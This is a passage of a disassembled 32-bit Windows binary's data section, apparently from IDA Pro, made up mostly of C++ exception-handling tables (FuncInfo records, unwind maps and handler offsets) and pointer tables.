off_43E16C	dd offset loc_401B04	; DATA XREF: sub_429D00+32o
		dd offset sub_4021A8
		dd offset sub_4010AF
		dd 0
off_43E17C	dd offset sub_4017A8	; DATA XREF: sub_42A090+32o
		dd offset sub_4021A8
		dd offset sub_40188E
		dd 0
off_43E18C	dd offset sub_4020D1	; DATA XREF: sub_42B1D0+27o
dword_43E190	dd 0				dd 8, 0
off_43E19C	dd offset byte_4367D0	; DATA XREF: sub_42B240+39o
off_43E1A0	dd offset sub_401F41	; DATA XREF: ___:0042B312o
		dd offset sub_4021A8
		dd offset sub_40134D
		align 10h
off_43E1B0	dd offset sub_401B22	; DATA XREF: sub_42B480+32o
		dd offset sub_4021A8
		dd offset sub_40152D
		align 10h
		dd offset loc_4015F0
		dd offset sub_4021A8
		dd offset sub_4019E2
		align 10h
		dd offset dword_43E348
off_43E1D4	dd offset loc_436811	; DATA XREF: ___:off_4438C0o
					; ___:off_4438E0o ...
		dd 0FFFFFFFFh, 436BACh,	436BC0h, 4Dh dup(0)
off_43E318	dd offset off_446CE0	; DATA XREF: ___:0043E330o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_43E318
		dd 0
		db    0			; DATA XREF: ___:0043E358o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 43E330h
dword_43E348	dd 3 dup(0)			dd offset off_446CE0
		dd offset unk_43E338
		dd 45h dup(0)
dword_43E470	dd 19930520h, 5, 43E490h, 5 dup(0)		dd 0FFFFFFFFh, 437B2Ch,	0
		dd offset dword_436FD0+0B30h
		dd 1, 437B0Bh, 2, 437B16h, 3, 437B21h, 2 dup(0)
dword_43E4C0	dd 19930520h, 3Dh, 43E4E0h, 5 dup(0)		dd 0FFFFFFFFh, 437B70h,	0
		dd offset loc_437B7B
		dd 1, 437B86h, 2, 437B94h, 3, 437BA2h, 4, 437BB0h, 5, 437BBEh
		dd 6, 437BCCh, 7, 437BDAh, 8, 437BE8h, 9, 437BF6h, 0Ah
		dd 437C04h, 0Bh, 437C12h, 0Ch, 437C20h,	0Dh, 437C2Eh, 0Eh
		dd 437C3Ch, 0Fh, 437C4Ah, 10h, 437C58h,	11h, 437C66h, 12h
		dd 437C74h, 13h, 437C82h, 14h, 437C90h,	15h, 437C9Eh, 16h
		dd 437CACh, 17h, 437CBAh, 18h, 437CC8h,	19h, 437CD6h, 1Ah
		dd 437CE4h, 1Bh, 437CF2h, 1Ch, 437D00h,	1Dh, 437D0Eh, 1Eh
		dd 437D1Ch, 1Fh, 437D2Ah, 20h, 437D38h,	21h, 437D46h, 22h
		dd 437D54h, 23h, 437D62h, 24h, 437D70h,	25h, 437D7Eh, 26h
		dd 437D8Ch, 27h, 437D9Ah, 28h, 437DA8h,	29h, 437DB6h, 2Ah
		dd 437DC4h, 2Bh, 437DD2h, 2Ch, 437DE0h,	2Dh, 437DEEh, 2Eh
		dd 437DFCh, 2Fh, 437E0Ah, 30h, 437E18h,	31h, 437E26h, 32h
		dd 437E34h, 33h, 437E42h, 34h, 437E50h,	35h, 437E5Eh, 36h
		dd 437E6Ch, 37h, 437E7Ah, 38h, 437E88h,	39h, 437E96h, 3Ah
		dd 437EA4h, 3Bh, 437EB2h, 0Eh dup(0)
dword_43E700	dd 19930520h, 1, 43E720h, 5 dup(0)		dd 0FFFFFFFFh, 437FA0h,	2 dup(0)
dword_43E730	dd 19930520h, 2, 43E750h, 5 dup(0)		dd 0FFFFFFFFh, 437FC0h,	0
		dd offset loc_437FC8
		dd 2 dup(0)
dword_43E768	dd 19930520h, 2, 43E788h, 5 dup(0)		dd 0FFFFFFFFh, 437FF0h,	0
		dd offset loc_437FF8
		align 10h
dword_43E7A0	dd 19930520h, 1, 43E7C0h, 5 dup(0)		dd 0FFFFFFFFh, 438020h,	2 dup(0)
dword_43E7D0	dd 19930520h, 7, 43E7F0h, 5 dup(0)		dd 0FFFFFFFFh, 438040h,	0
		dd offset loc_438048
		dd 1, 438053h, 2, 438061h, 3, 43806Fh, 4, 43807Dh, 5, 43808Bh
		dd 2 dup(0)
dword_43E830	dd 19930520h, 7, 43E850h, 5 dup(0)		dd 0FFFFFFFFh, 4380C0h,	0
		dd offset loc_4380C8
		dd 1, 4380D3h, 2, 4380E1h, 3, 4380EFh, 4, 4380FDh, 5, 43810Bh
		dd 2 dup(0)
dword_43E890	dd 19930520h, 11h, 43E8B0h, 5 dup(0)		dd 0FFFFFFFFh, 438140h,	0FFFFFFFFh, 438148h, 0FFFFFFFFh
		dd 438150h, 0FFFFFFFFh,	438158h, 0FFFFFFFFh, 438160h, 0FFFFFFFFh
		dd 438168h, 0FFFFFFFFh,	438170h, 0FFFFFFFFh, 438178h, 0FFFFFFFFh
		dd 438180h, 0FFFFFFFFh,	438188h, 0FFFFFFFFh, 438190h, 0FFFFFFFFh
		dd 438198h, 0FFFFFFFFh,	4381A0h, 0FFFFFFFFh, 4381A8h, 0FFFFFFFFh
		dd 4381B0h, 0Eh, 4381B8h, 0Eh, 4381C0h,	4 dup(0)
dword_43E948	dd 19930520h, 0Bh, 43E968h, 5 dup(0)		dd 0FFFFFFFFh, 438200h,	0
		dd offset loc_438208
		dd 0FFFFFFFFh, 438210h,	2, 438218h, 0FFFFFFFFh,	438220h
		dd 0FFFFFFFFh, 438228h,	0FFFFFFFFh, 438230h, 0FFFFFFFFh
		dd 438238h, 7, 438243h,	7, 43824Bh, 9, 438253h,	4 dup(0)
dword_43E9D0	dd 19930520h, 31h, 43E9F0h, 5 dup(0)		dd 0FFFFFFFFh, 438280h,	0
		dd offset loc_43828B
		dd 0
		dd offset loc_438296
		dd 0FFFFFFFFh, 4382A1h,	0FFFFFFFFh, 4382ACh, 4,	4382B7h
		dd 0FFFFFFFFh, 4382C2h,	6, 4382CDh, 6, 4382D8h,	8, 4382E3h
		dd 0FFFFFFFFh, 4382EEh,	0Ah, 4382F9h, 0Ah, 438304h, 0Ah
		dd 43830Fh, 0Ah, 43831Ah, 0Ah, 438325h,	0Ah, 438330h, 0FFFFFFFFh
		dd 43833Bh, 11h, 438346h, 11h, 438351h,	0FFFFFFFFh, 43835Ch
		dd 0FFFFFFFFh, 438367h,	15h, 438372h, 0FFFFFFFFh, 43837Dh
		dd 0FFFFFFFFh, 438388h,	18h, 438393h, 0FFFFFFFFh, 43839Eh
		dd 0FFFFFFFFh, 4383A9h,	0FFFFFFFFh, 4383B4h, 0FFFFFFFFh
		dd 4383BFh, 1Dh, 4383CAh, 1Dh, 4383D5h,	1Dh, 4383E0h, 1Dh
		dd 4383EBh, 1Dh, 4383F6h, 22h, 438401h,	22h, 43840Ch, 22h
		dd 438417h, 22h, 438422h, 22h, 43842Dh,	22h, 438438h, 22h
		dd 438443h, 22h, 43844Eh, 22h, 438459h,	22h, 438464h, 22h
		dd 43846Fh, 22h, 43847Ah, 22h, 438485h,	22h, 438490h, 0Ch dup(0)
dword_43EBA8	dd 19930520h, 2, 43EBC8h, 5 dup(0)		dd 0FFFFFFFFh, 438538h,	0
		dd offset loc_438530
		align 10h
dword_43EBE0	dd 19930520h, 2, 43EC00h, 5 dup(0)		dd 0FFFFFFFFh, 43857Bh,	0
		dd offset loc_438570
		dd 2 dup(0)
dword_43EC18	dd 19930520h, 3, 43EC38h, 5 dup(0)		dd 0FFFFFFFFh, 4385B0h,	0
		dd offset loc_4385BB
		dd 0
		dd offset loc_4385C6
		dd 2 dup(0)
dword_43EC58	dd 19930520h, 1, 43EC78h, 5 dup(0)		dd 0FFFFFFFFh, 4385F0h,	2 dup(0)
dword_43EC88	dd 19930520h, 1, 43ECA8h, 5 dup(0)		dd 0FFFFFFFFh, 438610h,	2 dup(0)
dword_43ECB8	dd 19930520h, 2, 43ECD8h, 5 dup(0)		dd 0FFFFFFFFh, 438630h,	0
		dd offset loc_438638
		align 10h
dword_43ECF0	dd 19930520h, 56h, 43ED10h, 5 dup(0)		dd 0FFFFFFFFh, 438650h,	0
		dd offset loc_43865B
		dd 1, 438666h, 2, 438671h, 3, 43867Ch, 4, 438687h, 5, 438692h
		dd 6, 43869Dh, 7, 4386A8h, 8, 4386B3h, 9, 4386BBh, 0Ah
		dd 4386C3h, 0Bh, 4386CEh, 0Ch, 4386D6h,	0Dh, 4386DEh, 0Eh
		dd 4386E9h, 0Fh, 4386F4h, 10h, 4386FFh,	11h, 43870Ah, 12h
		dd 438715h, 13h, 438720h, 14h, 43872Bh,	15h, 438736h, 16h
		dd 438741h, 17h, 43874Ch, 18h, 438757h,	19h, 438762h, 1Ah
		dd 43876Dh, 1Bh, 438778h, 1Ch, 438783h,	1Dh, 43878Eh, 1Eh
		dd 438799h, 1Eh, 4387A4h, 1Eh, 4387AFh,	1Eh, 4387BAh, 1Eh
		dd 4387C5h, 1Eh, 4387D0h, 1Eh, 4387DBh,	1Eh, 4387E6h, 1Eh
		dd 4387F1h, 27h, 4387FCh, 1Eh, 4387FCh,	1Eh, 438807h, 2Ah
		dd 438812h, 1Eh, 438812h, 1Eh, 43881Dh,	2Dh, 438828h, 1Eh
		dd 438828h, 1Eh, 438833h, 30h, 43883Eh,	1Eh, 43883Eh, 1Eh
		dd 438849h, 33h, 438854h, 1Eh, 438854h,	1Eh, 43885Fh, 36h
		dd 43886Ah, 1Eh, 43886Ah, 1Eh, 438875h,	39h, 438880h, 1Eh
		dd 438880h, 1Eh, 43888Bh, 3Ch, 438896h,	1Eh, 438896h, 1Eh
		dd 4388A1h, 3Fh, 4388ACh, 1Eh, 4388ACh,	1Eh, 4388B7h, 42h
		dd 4388C2h, 1Eh, 4388C2h, 1Eh, 4388CDh,	45h, 4388D8h, 1Eh
		dd 4388D8h, 1Eh, 4388E3h, 48h, 4388EEh,	1Eh, 4388EEh, 1Eh
		dd 4388F9h, 4Bh, 438904h, 1Eh, 438904h,	1Eh, 43890Fh, 4Eh
		dd 43891Ah, 1Eh, 43891Ah, 1Eh, 438925h,	51h, 438930h, 52h
		dd 43893Bh, 53h, 438946h, 54h, 438951h,	13h dup(0)
		dd offset off_4438C0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	436800h, 2 dup(0)
		dd offset off_4438E0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	436C2Ah, 2 dup(0)
		dd offset off_443908
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	436C30h, 0
dword_43F068	dd 3, 43F048h, 43F028h,	43F008h, 2 dup(0)dword_43F080	dd 0							; ___:0040A997o
		dd offset dword_436BD4+62h
		dd 0
		dd offset dword_43F068
		dd 2 dup(0)
dword_43F098	dd 19930520h, 1, 43F0B8h, 5 dup(0)		dd 0FFFFFFFFh, 438A30h,	2 dup(0)
dword_43F0C8	dd 19930520h, 1, 43F0E8h, 5 dup(0)		dd 0FFFFFFFFh, 438A50h,	2 dup(0)
dword_43F0F8	dd 19930520h, 3, 43F118h, 5 dup(0)		dd 0FFFFFFFFh, 438A70h,	0
		dd offset loc_438A87
		dd 1, 438A8Fh, 2 dup(0)
dword_43F138	dd 19930520h, 1, 43F158h, 5 dup(0)		dd 0FFFFFFFFh, 438AB0h,	2 dup(0)
dword_43F168	dd 19930520h, 2, 43F188h, 1, 43F198h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 43F1B0h, 4	dup(0)
		dd offset sub_40AE52
		dd 2 dup(0)
dword_43F1C8	dd 19930520h, 2, 43F1E8h, 1, 43F1F8h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 43F210h, 4	dup(0)
		dd offset sub_40AFD1
		dd 2 dup(0)
dword_43F228	dd 19930520h, 4, 43F248h, 5 dup(0)		dd 0FFFFFFFFh, 438AF0h,	0
		dd offset loc_438AFB
		dd 1, 438B06h, 2, 438B11h, 2 dup(0)
dword_43F270	dd 19930520h, 4, 43F290h, 5 dup(0)		dd 0FFFFFFFFh, 438B40h,	0
		dd offset loc_438B4B
		dd 1, 438B56h, 2, 438B61h, 2 dup(0)
dword_43F2B8	dd 19930520h, 3, 43F2D8h, 5 dup(0)		dd 0FFFFFFFFh, 438B90h,	0FFFFFFFFh, 438B98h, 0FFFFFFFFh
		dd 438BA0h, 2 dup(0)
dword_43F2F8	dd 19930520h, 3, 43F318h, 5 dup(0)		dd 0FFFFFFFFh, 438BC0h,	0
		dd offset loc_438BC8
		dd 1, 438BD0h, 2 dup(0)
dword_43F338	dd 19930520h, 1, 43F358h, 5 dup(0)		dd 0FFFFFFFFh, 438BF0h,	2 dup(0)
dword_43F368	dd 19930520h, 4, 43F388h, 5 dup(0)		dd 0FFFFFFFFh, 438C10h,	0FFFFFFFFh, 438C18h, 0FFFFFFFFh
		dd 438C20h, 2, 438C28h,	2 dup(0)
dword_43F3B0	dd 19930520h, 1, 43F3D0h, 5 dup(0)		dd 0FFFFFFFFh, 438C50h,	2 dup(0)
dword_43F3E0	dd 19930520h, 4, 43F400h, 5 dup(0)		dd 0FFFFFFFFh, 438C70h,	0
		dd offset loc_438C7B
		dd 0
		dd offset loc_438C86
		dd 2, 438C91h, 2 dup(0)
dword_43F428	dd 19930520h, 1, 43F448h, 5 dup(0)		dd 0FFFFFFFFh, 438CC0h,	2 dup(0)
dword_43F458	dd 19930520h, 5, 43F478h, 5 dup(0)		dd 0FFFFFFFFh, 438CE0h,	0
		dd offset loc_438CEB
		dd 0
		dd offset loc_438CF6
		dd 0
		dd offset loc_438D01
		dd 0
		dd offset loc_438D0C
		dd 2 dup(0)
dword_43F4A8	dd 19930520h, 2, 43F4C8h, 5 dup(0)		dd 0FFFFFFFFh, 438D40h,	0
		dd offset loc_438D4B
		align 10h
dword_43F4E0	dd 19930520h, 2, 43F500h, 5 dup(0)		dd 0FFFFFFFFh, 438D70h,	0
		dd offset loc_438D7B
		dd 2 dup(0)
dword_43F518	dd 19930520h, 4, 43F538h, 5 dup(0)		dd 0FFFFFFFFh, 438DA0h,	0FFFFFFFFh, 438DA8h, 0FFFFFFFFh
		dd 438DB0h, 0FFFFFFFFh,	438DB8h, 2 dup(0)
dword_43F560	dd 19930520h, 8, 43F580h, 5 dup(0)		dd 0FFFFFFFFh, 438DE0h,	0
		dd offset loc_438DEB
		dd 1, 438DF6h, 1, 438E01h, 1, 438E0Ch, 1, 438E17h, 1, 438E22h
		dd 1, 438E2Dh, 4 dup(0)
dword_43F5D0	dd 19930520h, 0Dh, 43F5F0h, 5 dup(0)		dd 0FFFFFFFFh, 438E60h,	0FFFFFFFFh, 438E6Bh, 1,	438E76h
		dd 2, 438E81h, 3, 438E8Ch, 4, 438E97h, 5, 438EA2h, 6, 438EADh
		dd 7, 438EB8h, 8, 438EC3h, 9, 438ECEh, 0Ah, 438ED9h, 0Bh
		dd 438EE4h, 4 dup(0)
dword_43F668	dd 19930520h, 6, 43F688h, 5 dup(0)		dd 0FFFFFFFFh, 438F20h,	0
		dd offset loc_438F28
		dd 1, 438F30h, 2, 438F38h, 2, 438F40h, 2, 438F48h, 2 dup(0)
dword_43F6C0	dd 19930520h, 6, 43F6E0h, 5 dup(0)		dd 0FFFFFFFFh, 438F70h,	0
		dd offset loc_438F78
		dd 1, 438F80h, 2, 438F88h, 2, 438F90h, 2, 438F98h, 2 dup(0)
dword_43F718	dd 19930520h, 3, 43F738h, 5 dup(0)		dd 0FFFFFFFFh, 438FC0h,	0
		dd offset loc_438FC8
		dd 1, 438FD0h, 2 dup(0)
dword_43F758	dd 19930520h, 1, 43F778h, 5 dup(0)		dd 0FFFFFFFFh, 438FF0h,	2 dup(0)
dword_43F788	dd 19930520h, 7, 43F7A8h, 5 dup(0)		dd 0FFFFFFFFh, 439010h,	0
		dd offset loc_439018
		dd 0FFFFFFFFh, 439020h,	0FFFFFFFFh, 439028h, 3,	439030h
		dd 4, 439038h, 0FFFFFFFFh, 439040h, 2 dup(0)
dword_43F7E8	dd 19930520h, 24h, 43F808h, 5 dup(0)		dd 0FFFFFFFFh, 439070h,	0
		dd offset loc_439078
		dd 1, 439083h, 2, 43908Eh, 3, 439099h, 4, 4390A7h, 5, 4390B5h
		dd 6, 4390C3h, 7, 4390D1h, 8, 4390DFh, 9, 4390EDh, 0Ah
		dd 4390FBh, 0Bh, 439109h, 0Ch, 439117h,	0Dh, 439125h, 0Eh
		dd 439133h, 0Fh, 439141h, 10h, 43914Fh,	11h, 43915Dh, 11h
		dd 439165h, 11h, 43916Dh, 11h, 439175h,	11h, 43917Dh, 11h
		dd 439185h, 11h, 43918Dh, 11h, 439195h,	11h, 43919Dh, 11h
		dd 4391A5h, 11h, 4391ADh, 11h, 4391B5h,	11h, 4391BDh, 11h
		dd 4391C5h, 11h, 4391CDh, 11h, 4391D5h,	11h, 4391DDh, 11h
		dd 4391E5h, 8 dup(0)
dword_43F948	dd 19930520h, 11h, 43F968h, 5 dup(0)		dd 0FFFFFFFFh, 439260h,	0
		dd offset loc_439268
		dd 1, 439273h, 2, 43927Eh, 3, 439289h, 4, 439297h, 5, 4392A5h
		dd 6, 4392B3h, 7, 4392C1h, 8, 4392CFh, 9, 4392DDh, 0Ah
		dd 4392EBh, 0Bh, 4392F9h, 0Ch, 439307h,	0Dh, 439315h, 0Eh
		dd 439323h, 0Fh, 439331h, 4 dup(0)
dword_43FA00	dd 19930520h, 38h, 43FA20h, 5 dup(0)		dd 0FFFFFFFFh, 439390h,	0
		dd offset loc_43939B
		dd 1, 4393A6h, 0
		dd offset loc_4393B1
		dd 0
		dd offset loc_4393BC
		dd 0
		dd offset loc_4393C7
		dd 0
		dd offset loc_4393D2
		dd 0
		dd offset loc_4393DD
		dd 0
		dd offset loc_4393E8
		dd 0
		dd offset loc_4393F3
		dd 9, 4393FEh, 0
		dd offset loc_439409
		dd 0
		dd offset loc_439414
		dd 0
		dd offset loc_43941F
		dd 0
		dd offset loc_43942A
		dd 0Eh,	439435h, 0Eh, 439443h, 0Eh, 439451h, 0Eh, 43945Ch
		dd 0Eh,	43946Ah, 0Eh, 439478h, 0Eh, 439483h, 0Eh, 43948Eh
		dd 0
		dd offset loc_439499
		dd 0
		dd offset loc_4394A4
		dd 0
		dd offset loc_4394B2
		dd 0
; ---------------------------------------------------------------------------
		rcl	byte ptr [ebx+eax*2+1A00h], 0
		retf
; ---------------------------------------------------------------------------
		db 94h,	43h, 0
		dd 1Bh,	4394D6h, 0
		dd offset loc_4394E1
		dd 1Dh,	4394ECh, 0
		dd offset loc_4394F7
		dd 1Fh,	439502h, 0
		dd offset loc_43950D
		dd 0
		dd offset loc_439518
		dd 0
		dd offset loc_439523
		dd 0
		dd offset loc_43952E
		dd 0
		dd offset loc_439539
		dd 25h,	439544h, 26h, 43954Fh, 0
		dd offset loc_43954F
		dd 28h,	439544h, 0
		dd offset loc_43955A
		dd 0
		dd offset loc_439565
		dd 2Bh,	439570h, 2Ch, 43957Bh, 0
		dd offset loc_43957B
		dd 2Eh,	439570h, 2Eh, 439586h, 0
		dd offset loc_439591
		dd 31h,	43959Ch, 0
		dd offset loc_4395A7
		dd 0
		dd offset loc_4395B2
		dd 34h,	4395BDh, 35h, 4395C8h, 34h, 4395C8h, 0Ch dup(0)
dword_43FC10	dd 19930520h, 1, 43FC30h, 5 dup(0)		dd 0FFFFFFFFh, 439670h,	2 dup(0)
dword_43FC40	dd 19930520h, 1, 43FC60h, 5 dup(0)		dd 0FFFFFFFFh, 439690h,	2 dup(0)
dword_43FC70	dd 19930520h, 6, 43FC90h, 5 dup(0)		dd 0FFFFFFFFh, 4396B0h,	0
		dd offset loc_4396B8
		dd 1, 4396C3h, 2, 4396CEh, 3, 4396D9h, 4, 4396E4h, 2 dup(0)
dword_43FCC8	dd 19930520h, 6, 43FCE8h, 5 dup(0)		dd 0FFFFFFFFh, 439710h,	0
		dd offset loc_439718
		dd 1, 439723h, 2, 43972Eh, 3, 439739h, 4, 439744h, 2 dup(0)
dword_43FD20	dd 19930520h, 0Ah, 43FD40h, 5 dup(0)		dd 0FFFFFFFFh, 439770h,	0FFFFFFFFh, 439778h, 0FFFFFFFFh
		dd 439780h, 0FFFFFFFFh,	439788h, 0FFFFFFFFh, 439790h, 0FFFFFFFFh
		dd 439798h, 0FFFFFFFFh,	4397A0h, 0FFFFFFFFh, 4397A8h, 0FFFFFFFFh
		dd 4397B0h, 0FFFFFFFFh,	4397B8h, 4 dup(0)
dword_43FDA0	dd 19930520h, 0Eh, 43FDC0h, 5 dup(0)		dd 0FFFFFFFFh, 4397E0h,	0
		dd offset loc_4397E8
		dd 0FFFFFFFFh, 4397F3h,	0FFFFFFFFh, 4397FBh, 0FFFFFFFFh
		dd 439803h, 0FFFFFFFFh,	43980Bh, 5, 439816h, 0FFFFFFFFh
		dd 43981Eh, 0FFFFFFFFh,	439826h, 0FFFFFFFFh, 43982Eh, 9
		dd 439839h, 0FFFFFFFFh,	439841h, 0Bh, 439849h, 0Ch, 439851h
		dd 4 dup(0)
dword_43FE40	dd 19930520h, 2, 43FE60h, 5 dup(0)		dd 0FFFFFFFFh, 439898h,	0
		dd offset loc_439890
		dd 2 dup(0)
dword_43FE78	dd 19930520h, 2, 43FE98h, 5 dup(0)		dd 0FFFFFFFFh, 4398D0h,	0
		dd offset loc_4398D8
		align 10h
dword_43FEB0	dd 19930520h, 1, 43FED0h, 5 dup(0)		dd 0FFFFFFFFh, 4398F0h,	2 dup(0)
dword_43FEE0	dd 19930520h, 7, 43FF00h, 5 dup(0)		dd 0FFFFFFFFh, 439910h,	0
		dd offset loc_439918
		dd 1, 439923h, 2, 43992Eh, 2, 439936h, 4, 43993Eh, 5, 439946h
		dd 2 dup(0)
dword_43FF40	dd 19930520h, 4, 43FF60h, 5 dup(0)		dd 0FFFFFFFFh, 439970h,	0
		dd offset loc_43997B
		dd 1, 439986h, 2, 439991h, 2 dup(0)
dword_43FF88	dd 19930520h, 4, 43FFA8h, 5 dup(0)		dd 0FFFFFFFFh, 4399C0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 99h,	43h, 0
		dd 1, 4399D6h, 2, 4399E1h, 2 dup(0)
dword_43FFD0	dd 19930520h, 2, 43FFF0h, 5 dup(0)		dd 0FFFFFFFFh, 439A10h,	0FFFFFFFFh, 439A18h, 2 dup(0)
dword_440008	dd 19930520h, 1, 440028h, 5 dup(0)		dd 0FFFFFFFFh, 439A30h,	2 dup(0)
dword_440038	dd 19930520h, 1, 440058h, 5 dup(0)		dd 0FFFFFFFFh, 439A50h,	2 dup(0)
dword_440068	dd 19930520h, 2, 440088h, 5 dup(0)		dd 0FFFFFFFFh, 439A70h,	0
		dd offset loc_439A78
		align 10h
dword_4400A0	dd 19930520h, 3, 4400C0h, 5 dup(0)		dd 0FFFFFFFFh, 439A90h,	0
		dd offset loc_439A98
		dd 1, 439AA3h, 2 dup(0)
dword_4400E0	dd 19930520h, 3, 440100h, 5 dup(0)		dd 0FFFFFFFFh, 439AD0h,	0
		dd offset loc_439AD8
		dd 1, 439AE0h, 2 dup(0)
dword_440120	dd 19930520h, 1, 440140h, 5 dup(0)		dd 0FFFFFFFFh, 439B00h,	2 dup(0)
dword_440150	dd 19930520h, 4, 440170h, 5 dup(0)		dd 0FFFFFFFFh, 439B20h,	0
		dd offset loc_439B28
		dd 0
		dd offset loc_439B30
		dd 0
		dd offset loc_439B3B
		dd 2 dup(0)
dword_440198	dd 19930520h, 6, 4401B8h, 5 dup(0)		dd 0FFFFFFFFh, 439B60h,	0
		dd offset loc_439B68
		dd 1, 439B70h, 2, 439B78h, 3, 439B80h, 4, 439B88h, 2 dup(0)
dword_4401F0	dd 19930520h, 3, 440210h, 5 dup(0)		dd 0FFFFFFFFh, 439BB0h,	0
		dd offset loc_439BBB
		dd 1, 439BC6h, 2 dup(0)
dword_440230	dd 19930520h, 4, 440250h, 5 dup(0)		dd 0FFFFFFFFh, 439BF0h,	0
		dd offset loc_439BF8
		dd 1, 439C00h, 2, 439C08h, 2 dup(0)
dword_440278	dd 19930520h, 5, 440298h, 5 dup(0)		dd 0FFFFFFFFh, 439C30h,	0
		dd offset loc_439C38
		dd 1, 439C40h, 2, 439C48h, 3, 439C50h, 2 dup(0)
dword_4402C8	dd 19930520h, 4, 4402E8h, 5 dup(0)		dd 0FFFFFFFFh, 439C80h,	0
		dd offset loc_439C88
		dd 1, 439C93h, 2, 439C9Eh, 2 dup(0)
dword_440310	dd 19930520h, 3, 440330h, 5 dup(0)		dd 0FFFFFFFFh, 439CC0h,	0
		dd offset loc_439CC8
		dd 1, 439CD0h, 2 dup(0)
dword_440350	dd 19930520h, 1, 440370h, 5 dup(0)		dd 0FFFFFFFFh, 439CF0h,	2 dup(0)
dword_440380	dd 19930520h, 2, 4403A0h, 5 dup(0)		dd 0FFFFFFFFh, 439D10h,	0
		dd offset loc_439D18
		dd 2 dup(0)
dword_4403B8	dd 19930520h, 2, 4403D8h, 5 dup(0)		dd 0FFFFFFFFh, 439D30h,	0
		dd offset loc_439D38
		align 10h
dword_4403F0	dd 19930520h, 3, 440410h, 5 dup(0)		dd 0FFFFFFFFh, 439D50h,	0
		dd offset loc_439D5B
		dd 1, 439D66h, 2 dup(0)
dword_440430	dd 19930520h, 1, 440450h, 5 dup(0)		dd 0FFFFFFFFh, 439D90h,	2 dup(0)
dword_440460	dd 19930520h, 1, 440480h, 5 dup(0)		dd 0FFFFFFFFh, 439DB0h,	2 dup(0)
dword_440490	dd 19930520h, 4, 4404B0h, 5 dup(0)		dd 0FFFFFFFFh, 439DD0h,	0
		dd offset loc_439DD8
		dd 1, 439DE3h, 2, 439DEEh, 2 dup(0)
dword_4404D8	dd 19930520h, 7, 4404F8h, 5 dup(0)		dd 0FFFFFFFFh, 439E10h,	0FFFFFFFFh, 439E18h, 0FFFFFFFFh
		dd 439E20h, 2, 439E28h,	3, 439E30h, 4, 439E38h,	0FFFFFFFFh
		dd 439E40h, 2 dup(0)
dword_440538	dd 19930520h, 1Bh, 440558h, 5 dup(0)		dd 0FFFFFFFFh, 439E70h,	0
		dd offset loc_439E78
		dd 1, 439E83h, 2, 439E91h, 3, 439E9Fh, 4, 439EADh, 5, 439EBBh
		dd 6, 439EC9h, 7, 439ED7h, 8, 439EE5h, 9, 439EF3h, 0Ah
		dd 439F01h, 0Bh, 439F0Fh, 0Ch, 439F1Dh,	0Dh, 439F2Bh, 0Eh
		dd 439F39h, 0Fh, 439F47h, 10h, 439F55h,	11h, 439F63h, 12h
		dd 439F71h, 13h, 439F7Fh, 14h, 439F8Dh,	15h, 439F9Bh, 16h
		dd 439FA9h, 17h, 439FB7h, 18h, 439FC5h,	19h, 439FD3h, 6	dup(0)
dword_440648	dd 19930520h, 1Bh, 440668h, 5 dup(0)		dd 0FFFFFFFFh, 43A050h,	0
		dd offset loc_43A058
		dd 1, 43A063h, 2, 43A071h, 3, 43A07Fh, 4, 43A08Dh, 5, 43A09Bh
		dd 6, 43A0A9h, 7, 43A0B7h, 8, 43A0C5h, 9, 43A0D3h, 0Ah
		dd 43A0E1h, 0Bh, 43A0EFh, 0Ch, 43A0FDh,	0Dh, 43A10Bh, 0Eh
		dd 43A119h, 0Fh, 43A127h, 10h, 43A135h,	11h, 43A143h, 12h
		dd 43A151h, 13h, 43A15Fh, 14h, 43A16Dh,	15h, 43A17Bh, 16h
		dd 43A189h, 17h, 43A197h, 18h, 43A1A5h,	19h, 43A1B3h, 6	dup(0)
dword_440758	dd 19930520h, 1, 440778h, 5 dup(0)		dd 0FFFFFFFFh, 43A230h,	2 dup(0)
dword_440788	dd 19930520h, 3Dh, 4407A8h, 5 dup(0)		dd 0FFFFFFFFh, 43A250h,	0
		dd offset loc_43A25B
		dd 1, 43A266h, 2, 43A274h, 3, 43A282h, 4, 43A290h, 5, 43A29Eh
		dd 6, 43A2ACh, 7, 43A2BAh, 8, 43A2C8h, 9, 43A2D6h, 0Ah
		dd 43A2E4h, 0Bh, 43A2F2h, 0Ch, 43A300h,	0Dh, 43A30Eh, 0Eh
		dd 43A31Ch, 0Fh, 43A32Ah, 10h, 43A338h,	11h, 43A346h, 12h
		dd 43A354h, 13h, 43A362h, 14h, 43A370h,	15h, 43A37Eh, 16h
		dd 43A38Ch, 17h, 43A39Ah, 18h, 43A3A8h,	19h, 43A3B6h, 1Ah
		dd 43A3C4h, 1Bh, 43A3D2h, 1Ch, 43A3E0h,	1Dh, 43A3EEh, 1Eh
		dd 43A3FCh, 1Fh, 43A40Ah, 20h, 43A418h,	21h, 43A426h, 22h
		dd 43A434h, 23h, 43A442h, 24h, 43A450h,	25h, 43A45Eh, 26h
		dd 43A46Ch, 27h, 43A47Ah, 28h, 43A488h,	29h, 43A496h, 2Ah
		dd 43A4A4h, 2Bh, 43A4B2h, 2Ch, 43A4C0h,	2Dh, 43A4CEh, 2Eh
		dd 43A4DCh, 2Fh, 43A4EAh, 30h, 43A4F8h,	31h, 43A506h, 32h
		dd 43A514h, 33h, 43A522h, 34h, 43A530h,	35h, 43A53Eh, 36h
		dd 43A54Ch, 37h, 43A55Ah, 38h, 43A568h,	39h, 43A576h, 3Ah
		dd 43A584h, 3Bh, 43A592h, 0Eh dup(0)
dword_4409C8	dd 19930520h, 4, 4409E8h, 5 dup(0)		dd 0FFFFFFFFh, 43A680h,	0
		dd offset loc_43A68B
		dd 1, 43A696h, 2, 43A6A1h, 2 dup(0)
dword_440A10	dd 19930520h, 6, 440A30h, 5 dup(0)		dd 0FFFFFFFFh, 43A6D0h,	0
		dd offset loc_43A6DB
		dd 1, 43A6E6h, 2, 43A6F1h, 3, 43A6FFh, 4, 43A70Dh, 2 dup(0)
dword_440A68	dd 19930520h, 4, 440A88h, 5 dup(0)		dd 0FFFFFFFFh, 43A740h,	0
		dd offset loc_43A74E
